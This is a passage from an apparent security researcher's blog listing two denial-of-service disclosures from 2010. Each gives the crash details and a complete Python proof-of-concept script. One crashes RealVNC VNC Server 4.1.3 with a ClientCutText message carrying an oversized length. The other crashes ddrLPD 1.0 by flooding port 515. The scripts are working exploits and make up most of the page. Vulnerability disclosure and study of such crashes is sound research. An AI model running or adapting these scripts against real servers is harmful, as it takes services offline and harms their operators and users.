This site is soon to be deprecated by http://www.johnleitch.net
Showing posts with label Denial Of Service. Show all posts
Showing posts with label Denial Of Service. Show all posts

Sunday, May 2, 2010

RealVNC VNC Server Free Edition 4.1.3 Denial Of Service

Sending a ClientCutText Message with a length of 0xFFFFFFFF crashes the server with the exception shown below. Note: while the vulnerability is present regardless of authentication, for the sake of simplicity this script only works on servers configured to run with no authentication.

winvnc4.exe: The instruction at 0x425BE4 referenced memory at 0xFFFFFF00. The memory could not be written (0x00425BE4 -> FFFFFF00)

vncserver413-DoS.py

import sys, struct, socket
host ='localhost'
port = 5900

def crash_vnc_server():
try:
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(1.0)

print 'Connected'

try:
b = s.recv(8192)
print 'ProtocolVersion Received'

s.send(b)
print 'ProtocolVersion Sent'

b = s.recv(8192)
print 'Security Received'

s.send('\x01')
print 'Security Sent'

b = s.recv(8192)
print 'SecurityResult Received'

if (len(b) == 4 and
b[0] == chr(0) and
b[1] == chr(0) and
b[2] == chr(0) and
b[3] == chr(0)):
print 'SecurityResult OK'
else:
print 'SecurityResult Failed.\n\nThe server must be set '\
'to No Authentication for this to work, otherwise '\
'you \'ll need to write the necessary client side '\
'authentication code yourself.'
return

s.send('\x01')
print 'ClientInit Sent'

b = s.recv(8192)
print 'ServerInit Received'

text_len = 0xFFFFFF
text_str = struct.pack('L', text_len) + '\xAA' * text_len

while 1:
s.send('\x06\x00\x00\x00' + text_str)

print 'ClientCutText Sent'

except Exception:
print 'Connection closed'

except Exception:
print 'Couldn\'t connect'

crash_vnc_server()

ddrLPD 1.0 Denial Of Service

Sending packets composed of bytes between 1 and 5 (inclusive) causes ddrLPD 1.0 to crash with the exception below.

The instruction at 0x50431A referenced memory at 0x0. The memory could not be read (0x0050431A -> 00000000)

ddrLPD10-DoS.py

import socket
host ='localhost'

try:
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 515))
s.settimeout(1.0)

print 'connected',

try:
while 1:
s.send('\x01'*8192)
print '.',
except Exception:
print '\nconnection closed'
pass

except Exception:
print 'couldn\'t connect'